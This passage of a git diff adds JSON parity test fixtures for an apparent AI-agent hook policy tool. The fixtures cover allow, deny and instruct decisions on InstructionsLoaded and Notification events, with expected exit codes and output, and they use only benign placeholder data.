"/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..48789fa0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ca465a0f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..d9523bbe --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..f9d7fb89 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1856115b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..2cbb658f --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..9714aeaa --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..08628676 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..97d49cf4 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d1b5399c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b45bfa78 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..57954edb --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1d66025a --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..e17badb6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..35a38f7e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..4d6f0732 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..41bd7235 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7a00cd83 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..19f83678 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..af8bdfc0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + 